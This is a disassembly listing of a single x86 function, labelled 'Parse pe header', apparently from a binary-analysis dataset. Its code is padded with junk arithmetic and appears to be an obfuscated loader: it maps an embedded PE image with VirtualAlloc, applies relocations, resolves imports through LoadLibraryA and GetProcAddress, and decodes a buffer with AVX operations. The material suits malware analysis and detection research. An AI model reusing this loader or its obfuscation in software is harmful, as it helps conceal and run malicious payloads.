Function at 0x4032d0
Capabilities:
Parse pe header

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x466b0
call fcn.00406a60
lea ebp, [esp + 0x18b0]
push 0x44e00
push 0x419321
push ebp
call fcn.004075d0
add esp, 0xc
or ebx, 0x61
rcr edx, 0x18
imul esi
or eax, 0xfc
inc eax
inc esi
rcr ebx, 0xe6
or ebx, 5
rcr edx, 0x84
inc esi
neg eax
and edx, 0x2a
rol edi, 0x65
inc eax
add esi, 0x38
not edi
sub edi, 0xf9
sub ebx, 0xf7
dec esi
imul ebx
and edx, 0x37
mov edi, 0xc2
inc edx
bswap eax
inc ebx
not edi
and eax, 0x56
neg edx
ror edi, 0x5b
rol ebx, 0xef
ror edi, 0x52
neg esi
bswap eax
neg eax
sbb esi, 0x6d
mov esi, 5
neg edx
not esi
dec ebx
dec ebx
add esi, 0x9c
inc esi
or edx, 0xa3
and ebx, 0x4a
imul edx
dec esi
or edi, 0xa2
inc esi
and eax, 0x7d
or edi, 0xf8
add edx, 0x36
sub ebx, 0x3d
or eax, 0x46
rcr edx, 0xa0
or ebx, 0x3c
add edx, 0x35
neg esi
rcr ebx, 0x8d
and edx, 0xd0
imul ebx
inc eax
ror eax, 3
rol ebx, 0xab
mov edi, 0xaa
bswap edi
rol ebx, 0
and esi, 0xc4
not edi
neg esi
neg esi
neg esi
rol eax, 0x48
inc esi
sub ebx, 0x67
rcr ebx, 0x70
neg ebx
mov esi, 0xf1
ror ebx, 0x2c
imul ebx
mov edx, 0x93
sub edx, 0xda
mov eax, 0x93
imul eax
or edx, 0xb8
rcl esi, 0x92
add ebx, 1
sub ebx, 0x3f
mov esi, 0x4f
add eax, 0x7d
dec ebx
ror edx, 0xc6
sbb edi, 0x63
rcl eax, 0xdd
neg eax
sbb eax, 0xa2
not eax
mov eax, 0x90
dec ebx
mov edx, 3
imul edx
bswap ebx
rcl ebx, 0x8e
dec eax
inc eax
mov edx, 0x4b
imul edi
imul edx
rcl eax, 0x67
bswap edx
neg eax
imul edi
not edi
and ebx, 0xab
inc edx
rcl eax, 0xb4
not eax
sub eax, 0x7a
dec esi
not edi
sub edi, 0x69
dec edx
rol edx, 0x9c
rcl edx, 0xea
mov eax, 0x49
mov edi, 7
dec ebx
imul eax
not edx
mov eax, 0x30
or edx, 0x20
ror eax, 0xae
sub edx, 0x1d
imul eax
inc edi
add edx, 0x87
or edi, 0x7b
rcr edx, 0xaa
not esi
rcl esi, 0xf9
imul esi
neg eax
sbb edx, 0x51
ror ebx, 0xc0
not ebx
neg eax
imul esi
dec edx
neg edi
sbb ebx, 0x8f
rcl edi, 0
rcl edx, 4
add esi, 0x50
dec eax
rol edi, 0xd9
mov esi, 0x33
rcl ebx, 0xc4
add ebx, 0xf6
not ebx
rol edi, 0xde
sbb edx, 0xb8
dec edx
add eax, 0xfd
imul edx
rcl ebx, 0xc6
sbb ebx, 0xf2
not edi
neg edx
inc edi
rol esi, 0x7e
bswap edx
mov edx, 0x64
and ebx, 0x97
neg esi
neg esi
add eax, 0x4a
bswap eax
dec edx
rol ebx, 0xd8
inc esi
sbb eax, 0x26
not ebx
not edi
imul esi
bswap ebx
rol esi, 0x6b
not edx
not edx
bswap esi
mov edi, 0x8a
sbb esi, 0xe
rol edx, 0xb5
bswap eax
rol eax, 0x4b
not edx
inc esi
neg edi
neg esi
rcr ebx, 0xef
bswap esi
rcr eax, 0x70
push 0x44e00
push ebp
call fcn.00401000
add esp, 8
or ebx, 0x1a
rcl edx, 0x25
neg edi
bswap eax
neg esi
not edi
rol ebx, 0xa
inc edx
inc edi
dec edi
dec edx
sub edx, 0
or edi, 0x62
rol edi, 0x3c
mov eax, 0x24
not edx
neg edx
inc edi
mov esi, 0x4b
imul ebx
rcl edi, 0xe0
not edi
bswap esi
dec esi
or ebx, 0x15
imul esi
rol ebx, 0xc8
mov eax, 0xb8
inc eax
rcl edx, 0x42
rcl ebx, 0x6d
dec esi
and edx, 0xb1
ror edi, 0x59
bswap ebx
inc esi
add edi, 0xa8
not edx
not esi
imul esi
neg eax
sbb esi, 0xc4
ror ebx, 0xc3
dec esi
neg esi
or edi, 0x24
or esi, 0x9b
inc ebx
mov ebx, 0x22
sub esi, 0xf2
mov edx, dword [esp + 0x18ec]
mov eax, 1
cmp dword [edx + ebp], 0x4550
jne 0x40698f
mov ecx, edx
add ecx, ebp
mov edx, dword [ecx + 0xa0]
mov eax, dword [ecx + 0x50]
mov dword [esp + 4], ecx
mov ecx, dword [ecx + 0xa4]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
test ecx, ecx
je 0x403611
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
jmp 0x403636
push 4
push 0x3000
push eax
mov edi, dword [esp + 0x10]
push dword [edi + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, 2
cmp dword [edi + 0x34], ecx
jne 0x40698f
mov dword [esp], ecx
imul ebx
bswap esi
rol eax, 0xe2
ror ebx, 0xad
add ebx, 0xcb
neg ebx
sub edx, 0x5e
imul eax
imul esi
or esi, 0xed
bswap eax
neg edx
add edi, 0x74
imul ebx
ror ebx, 0x13
neg ebx
rcl edi, 0x39
ror eax, 0xbe
neg edx
sub edi, 0x31
neg eax
add edx, 0
dec edi
sub esi, 0x69
inc esi
rcl eax, 0x5a
sub esi, 0x4c
rcr edx, 0x1f
sbb edi, 0x59
bswap ebx
dec edi
dec esi
sbb edx, 0xc3
bswap eax
sub edx, 0x59
ror edi, 0x8a
dec esi
neg edi
not eax
or edx, 0x9e
bswap edx
dec esi
rcl edi, 0xf2
bswap edi
neg edx
inc edx
rol esi, 1
ror edi, 0xc6
rol ebx, 0x4d
add edi, 0x28
push 0x400
push ebp
push ecx
call fcn.004075d0
add esp, 0xc
not edi
sub edi, 0x43
neg esi
or eax, 0x21
inc edi
and esi, 0x43
and edx, 0x1b
and esi, 0x4b
inc edi
ror eax, 0xec
inc ebx
sub esi, 0x40
dec esi
rcr ebx, 0x8e
neg eax
rol ebx, 0xa5
sub esi, 0x35
sbb eax, 0xd0
sbb ebx, 0x69
not ebx
rcr edx, 0x32
rol esi, 0x28
not ebx
sub edx, 0x18
add edx, 0x7c
or edx, 0x4e
inc ebx
inc esi
bswap eax
sbb ebx, 0xa8
imul eax
inc edi
rcr eax, 0x69
sub esi, 0x9a
dec ebx
sub eax, 0xc4
not esi
rcr edi, 0x33
mov edi, 0xf
rol eax, 0xb1
rcl edx, 0x32
dec eax
rcr eax, 0xd4
imul edi
sbb eax, 0x48
or eax, 0xad
sbb eax, 0xa5
imul edx
imul esi
imul eax
add eax, 0x10
inc esi
rol esi, 0x1d
dec edi
dec edx
imul edi
rcl edx, 2
bswap edx
inc edx
inc edi
not eax
neg edi
not esi
ror edi, 0x47
and eax, 0xf6
rcl edi, 0x51
bswap edi
imul edi
rol eax, 0x85
sbb ebx, 0x13
dec esi
not eax
and edx, 0x51
ror esi, 0x68
sub esi, 0xa0
not edi
imul eax
not edx
mov ebx, 0xbc
bswap ebx
dec eax
dec ebx
ror edi, 0x1b
mov esi, 0x8e
not esi
add edi, 0xce
and edi, 0x47
sbb ebx, 9
neg edi
sbb eax, 0x64
inc edi
inc edi
bswap esi
and eax, 0x3a
rcr esi, 0xe1
sub edx, 0x2d
inc edx
bswap edi
rol edi, 0x21
not edx
add esi, 0xf2
not edx
bswap ebx
mov edi, 0x4f
rcr esi, 0xfc
or ebx, 0xe5
not esi
ror edi, 0x2a
sub edi, 0xd8
imul esi
dec ebx
rol esi, 0x2c
neg edi
dec edx
and edx, 0x6c
sbb esi, 0x17
or edx, 0x5e
not edi
ror edx, 0xe5
add esi, 0x6e
bswap eax
add eax, 0x67
neg ebx
neg eax
mov esi, 0x95
inc esi
inc eax
not ebx
imul ebx
rcl esi, 0x2a
rcl esi, 0xcf
dec edx
or esi, 0x68
or edx, 0x64
sbb edx, 0x80
or edx, 0xf5
neg edi
sub edx, 0xa4
inc eax
neg esi
imul edi
neg eax
not edx
bswap edi
add edx, 0xce
neg eax
dec edi
neg esi
dec ebx
dec esi
sbb edi, 0xeb
dec eax
inc edi
ror eax, 0x7d
imul edx
not edx
mov edx, 0xae
dec edx
bswap edi
inc esi
bswap edi
rol ebx, 0xf6
dec edi
sub esi, 0xf
imul ebx
bswap edi
or eax, 0xbd
ror esi, 0x52
imul ebx
rol ebx, 0x52
and edx, 0x91
rol eax, 0x30
imul eax
mov eax, 0xcd
rcl eax, 0x9b
mov ebx, 0x23
rcl ebx, 0x1b
inc ebx
not esi
bswap edx
imul esi
or esi, 0x35
dec ebx
add eax, 0x4d
neg esi
sbb esi, 0x10
dec ebx
or edi, 0x42
bswap ebx
rcr eax, 0xf0
ror ebx, 0xd5
bswap edx
bswap eax
add edx, 0xb6
mov edi, 0x96
mov edx, 0xbb
rcl esi, 0xf3
dec edx
bswap esi
not esi
or edx, 0xa7
inc esi
and esi, 0x3a
not eax
imul edx
rol ebx, 0x2e
imul eax
ror edx, 0x71
imul esi
not edi
ror ebx, 0x70
add eax, 0xbd
rcr esi, 0xf2
imul esi
rcr eax, 0xf4
rol edx, 0x89
rcr edx, 0xec
imul esi
dec ebx
dec eax
imul eax
sbb esi, 0xd8
neg esi
not ebx
add eax, 0xd3
and edx, 0x40
ror ebx, 1
rol eax, 0x1d
rcr edx, 0xbc
and ebx, 0x36
add ebx, 0x4f
inc esi
and esi, 0x59
or eax, 0x8c
ror ebx, 0xe0
neg edi
dec ebx
ror ebx, 0x40
bswap ebx
sub edi, 0x6f
not ebx
mov edi, 0x3a
sbb edx, 0xe4
inc edi
not eax
neg ebx
bswap esi
imul edi
sub eax, 0x51
rcr edi, 0x36
mov ecx, dword [esp + 4]
mov ebx, dword [esp]
movzx eax, word [ecx + 0x14]
cmp word [ecx + 6], 0
lea eax, [ecx + eax + 0x18]
mov dword [esp + 0x10], eax
je 0x4039b6
mov eax, dword [esp + 0x10]
xor edi, edi
lea esi, [eax + 0x14]
nop word [eax + eax]
mov eax, dword [esi - 8]
mov ecx, dword [esi]
add eax, ebx
add ecx, ebp
push dword [esi - 4]
push ecx
push eax
call fcn.004075d0
add esp, 0xc
mov eax, dword [esp + 4]
inc edi
add esi, 0x28
movzx eax, word [eax + 6]
cmp edi, eax
jb 0x403990
or edi, 0x74
add ebx, 0x58
imul edx
and eax, 3
inc eax
or esi, 0xb8
neg eax
sub esi, 0xd5
imul edx
imul edx
bswap eax
bswap edx
and eax, 0x68
add edx, 0x83
mov eax, 0x43
dec eax
imul edi
inc esi
not edx
neg edx
bswap esi
sub esi, 0x96
and esi, 0x23
rcr edx, 0x8d
bswap eax
bswap edi
sub edi, 0x1c
imul ebx
neg edi
not eax
neg esi
rcr ebx, 0x93
rol edx, 0x6b
inc ebx
and edi, 0xaa
rcl edi, 6
ror ebx, 0x60
inc eax
rol esi, 0x2d
mov ebx, 0xc9
bswap edi
not eax
inc ebx
rcl ebx, 0x92
inc edi
rcr eax, 0xb
inc edx
sub edi, 0x6b
inc edi
imul ebx
mov ebx, dword [esp]
mov ecx, dword [esp + 4]
mov ebp, dword [esp + 8]
mov eax, ebx
sub eax, dword [ecx + 0x34]
je 0x403ba8
cmp dword [esp + 0xc], 0
je 0x403ba8
add ebp, ebx
xor ecx, ecx
jmp 0x403a82
mov ecx, dword [esp + 0x14]
add ecx, edi
mov ebp, edx
cmp ecx, dword [esp + 0xc]
jae 0x403ba8
mov edi, dword [ebp + 4]
lea edx, [ebp + 8]
mov dword [esp + 0x14], ecx
lea esi, [edi - 8]
cmp esi, 2
jb 0x403a70
mov edi, dword [ebp]
shr esi, 1
mov dword [esp + 8], ebp
lea ecx, [esi - 1]
add edi, ebx
cmp ecx, 7
mov ecx, dword [esp + 0x14]
jae 0x403ae0
and esi, 7
jne 0x403ac6
mov esi, dword [esp + 8]
mov ebx, dword [esp]
mov edi, dword [esi + 4]
jmp 0x403a74
add edx, 2
dec esi
je 0x403ab0
movzx ebx, word [edx]
test ebx, 0x3000
je 0x403ac0
and ebx, 0xfff
add dword [edi + ebx], eax
jmp 0x403ac0
mov ebx, esi
and ebx, 0xfffffff8
jmp 0x403af8
add edx, 0x10
add ebx, 0xfffffff8
je 0x403aab
movzx ebp, word [edx]
test ebp, 0x3000
je 0x403b0c
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 2]
test ebp, 0x3000
je 0x403b21
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 4]
test ebp, 0x3000
je 0x403b36
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 6]
test ebp, 0x3000
je 0x403b4b
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 8]
test ebp, 0x3000
je 0x403b60
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xa]
test ebp, 0x3000
je 0x403b75
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xc]
test ebp, 0x3000
je 0x403b8a
and ebp, 0xfff
add dword [edi + ebp], eax
movzx ebp, word [edx + 0xe]
test ebp, 0x3000
je 0x403af0
and ebp, 0xfff
add dword [edi + ebp], eax
jmp 0x403af0
and edx, 0x78
mov edx, 0x3a
and edx, 0xa1
inc edx
bswap eax
imul eax
neg edi
bswap edx
ror ebx, 2
rcl eax, 0xa1
rol edx, 0x6d
inc esi
imul esi
add esi, 0x8c
or eax, 0x28
inc edi
inc edi
imul edi
neg edx
sbb ebx, 0xca
sub esi, 0x56
mov esi, 0xa7
and edx, 0x4c
imul esi
not edx
neg eax
not edi
rcl edi, 0xc4
sbb ebx, 0xf9
and eax, 0x3b
bswap eax
mov ebx, 0x89
imul eax
neg edx
bswap edx
imul edx
rcl eax, 0x71
sub edx, 0x4a
inc ebx
sbb edx, 2
sbb ebx, 0x2b
imul edi
rcr esi, 0xf8
not edi
bswap esi
rcl eax, 0x88
sbb eax, 5
rol esi, 0x2d
neg eax
rcr ebx, 0x99
imul ebx
or eax, 0x81
not ebx
neg edi
or eax, 0x9e
rcl edi, 0xbd
imul ebx
mov edi, 0x79
and ebx, 0x8a
sub eax, 0x69
ror edx, 0x27
imul edi
imul edx
bswap eax
imul edx
or edx, 0x26
inc eax
imul edi
bswap eax
rol edi, 0x94
inc ebx
imul esi
inc eax
or edi, 0xb4
rcl ebx, 0x96
or ebx, 0xdd
rcl edx, 0x10
rcl edi, 0x59
sbb eax, 0xf0
rcl ebx, 0x12
rcr ebx, 0xd3
bswap esi
rcr eax, 0xf7
and edx, 0xf2
neg esi
rol eax, 0x37
and edi, 0x33
rcr esi, 0x7f
mov edx, 0x73
inc edx
rcr ebx, 0x75
and eax, 0x73
not ebx
dec eax
not eax
sub edx, 0x9e
sbb edi, 0xcf
imul eax
imul edx
inc esi
sub ebx, 0xb2
bswap edi
rcl edi, 0x25
inc edi
rol edi, 8
add ebx, 0xbb
mov ebx, 0x3d
not edx
dec edx
mov eax, 0x7a
bswap ebx
rcr esi, 0xe3
neg esi
imul esi
dec edx
dec esi
dec ebx
inc ebx
rcr edx, 0x71
rol eax, 0x94
imul eax
rcr esi, 0xbd
add ebx, 0xd7
rcr esi, 0xf9
rol eax, 0x4d
neg edi
rol ebx, 0x8b
and edi, 0x9d
rol ebx, 0x69
inc esi
rcl ebx, 0x1f
inc ebx
dec edx
rcl eax, 0x84
rol esi, 0xb9
not ebx
bswap eax
rcl edi, 0xf4
not edi
not edx
dec ebx
and eax, 0xd6
imul eax
inc edx
bswap edi
rol edx, 0x11
dec edi
sub ebx, 0x70
sbb ebx, 0xc0
imul eax
mov eax, dword [esp + 4]
mov ecx, dword [esp]
mov edx, dword [eax + 0x80]
cmp dword [edx + ecx + 0x10], 0
je 0x403e15
lea eax, [edx + ecx + 0x10]
add edx, ecx
xor esi, esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x14], eax
jmp 0x403d9e
mov esi, dword [esp + 8]
mov edx, dword [esp + 0xc]
inc esi
lea eax, [esi + esi*4]
lea ecx, [edx + eax*4 + 0x10]
cmp dword [edx + eax*4 + 0x10], 0
mov dword [esp + 0x14], ecx
mov ecx, dword [esp]
je 0x403e15
lea eax, [esi + esi*4]
mov dword [esp + 8], esi
mov eax, dword [edx + eax*4 + 0xc]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x403d80
mov esi, eax
mov eax, dword [esp + 0x14]
mov ebx, dword [eax]
mov eax, dword [esp]
mov ebp, dword [ebx + eax]
test ebp, ebp
je 0x403d80
mov edi, dword [esp]
add ebx, edi
add ebx, 4
jmp 0x403df5
mov ecx, dword [esp + 0x14]
mov ecx, dword [ecx]
mov dword [edi + ecx], eax
add edi, 4
mov ebp, dword [ebx]
add ebx, 4
test ebp, ebp
je 0x403d80
movzx eax, bp
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x403de0
mov eax, dword [esp]
lea eax, [ebp + eax + 2]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x403de0
lea eax, [esp + 0xb3]
push 0x17fd
push 0x45e121
push eax
call fcn.004075d0
add esp, 0xc
vmovdqa ymm0, ymmword [0x4171e0]
vpbroadcastb ymm5, byte [0x417ae1]
xor eax, eax
nop word cs:[eax + eax]
vpbroadcastb ymm4, byte [0x417ae2]
vpbroadcastb ymm1, byte [0x417ae1]
vpbroadcastb ymm2, byte [0x417ae3]
vpbroadcastb ymm3, byte [0x417ae4]
vpbroadcastb ymm6, byte [0x417ae5]
vpaddb ymm4, ymm4, ymmword [esp + eax + 0xb3]
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4611c0]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4611e0]
vpxor ymm4, ymm4, ymm1
vpxor xmm1, xmm1, xmm1
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x461200]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417ae6]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm1, ymm4
vpbroadcastb ymm1, byte [0x417ae7]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x461220]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417ae8]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x417ae9]
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aea]
vpsrlw ymm7, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpaddb ymm7, ymm0, ymm6
vpaddb ymm4, ymm7, ymm4
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [0x4174a0]
vpsrlw ymm7, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417ae4]
vpor ymm4, ymm4, ymm7
vpxor ymm4, ymm4, ymmword [0x417aa0]
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x417740]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpaddb ymm1, ymm0, ymm0
vpor ymm4, ymm4, ymm7
vmovdqu ymmword [esp + 0x14], ymm1
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aeb]
vpsrlw ymm7, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm7, ymm7, ymm6
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm1, ymm4
vpaddb ymm4, ymm4, ymmword [0x461260]
vpsrlw ymm7, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm7, ymm7, ymm6
vpbroadcastb ymm6, byte [0x417aec]
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aed]
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm5, ymm7
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm5, ymm7
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x461280]
vpsrlw ymm7, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm7, ymm3, ymm7
vpand ymm4, ymm4, ymm3
vpxor xmm3, xmm3, xmm3
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417ae7]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm3, ymm4
vpsrlw ymm7, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm7, ymm6, ymm7
vpand ymm4, ymm4, ymm6
vmovdqa ymm1, ymm6
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm6, ymm4
vpbroadcastb ymm6, byte [0x417aee]
vpsrlw ymm7, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm7, ymm5, ymm7
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417ae4]
vpsrlw ymm7, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm7, ymm6, ymm7
vpand ymm4, ymm4, ymm6
vmovdqa ymm3, ymm6
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymmword [0x4612c0]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpor ymm4, ymm4, ymm7
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm7, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm7, ymm1, ymm7
vpand ymm4, ymm4, ymm1
vpcmpeqd ymm1, ymm1, ymm1
vpor ymm4, ymm4, ymm7
vpsubb ymm4, ymm4, ymm0
vpaddb ymm4, ymm4, ymmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_n________________________________]
vpsrlw ymm7, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm7, ymm2, ymm7
vpand ymm4, ymm4, ymm2
vpbroadcastb ymm2, byte [0x417aeb]
vpor ymm7, ymm4, ymm7
vpaddb ymm4, ymm0, ymmword [esp + 0x14]
vpsubb ymm7, ymm4, ymm7
vpaddb ymm7, ymm7, ymmword [0x461300]
vpsrlw ymm6, ymm7, 7
vpaddb ymm7, ymm7, ymm7
vpand ymm6, ymm6, ymm2
vpor ymm6, ymm7, ymm6
vpbroadcastb ymm7, byte [0x417aef]
vpsubb ymm6, ymm7, ymm6
vpsrlw ymm7, ymm6, 1
vpsllw ymm6, ymm6, 7
vpandn ymm7, ymm5, ymm7
vpand ymm6, ymm6, ymm5
vpor ymm6, ymm6, ymm7
vpxor ymm6, ymm6, ymm1
vpsrlw ymm7, ymm6, 7
vpaddb ymm6, ymm6, ymm6
vpand ymm7, ymm7, ymm2
vpor ymm6, ymm6, ymm7
vpbroadcastb ymm7, byte [0x417af0]
vpaddb ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpsrlw ymm6, ymm4, 4
vpsllw ymm4, ymm4, 4
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpbroadcastb ymm7, byte [0x417ae7]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af1]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 3
vpsllw ymm4, ymm4, 5
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x417ae3]
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af2]
vpaddb ymm4, ymm4, ymm6
vpsrlw ymm6, ymm4, 2
vpsllw ymm4, ymm4, 6
vpandn ymm6, ymm3, ymm6
vpand ymm4, ymm4, ymm3
vpcmpeqd ymm3, ymm3, ymm3
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x461320]
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm1
vpbroadcastb ymm1, byte [0x417ae9]
vpsubb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpsubb ymm4, ymm7, ymm4
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af3]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x461340]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymm0
vpsrlw ymm6, ymm4, 6
vpsllw ymm4, ymm4, 2
vpandn ymm6, ymm7, ymm6
vpand ymm4, ymm4, ymm7
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x4175e0]
vpsrlw ymm6, ymm4, 7
vpaddb ymm4, ymm4, ymm4
vpand ymm6, ymm6, ymm2
vpor ymm4, ymm4, ymm6
vpbroadcastb ymm6, byte [0x417af4]
vpsubb ymm4, ymm6, ymm4
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
vpxor ymm4, ymm4, ymm3
vpbroadcastb ymm3, byte [0x417ae4]
vpaddb ymm4, ymm0, ymm4
vpaddb ymm4, ymm4, ymmword [0x461360]
vpsrlw ymm6, ymm4, 1
vpsllw ymm4, ymm4, 7
vpandn ymm6, ymm5, ymm6
vpand ymm4, ymm4, ymm5
vpor ymm4, ymm4, ymm6
vpaddb ymm4, ymm4, ymmword [0x461380]
vpsrlw ymm6, ymm4, 5
vpsllw ymm4, ymm4, 3
vpandn ymm6, ymm1, ymm6
vpand ymm4, ymm4, ymm1
vpor ymm4, ymm4, ymm6
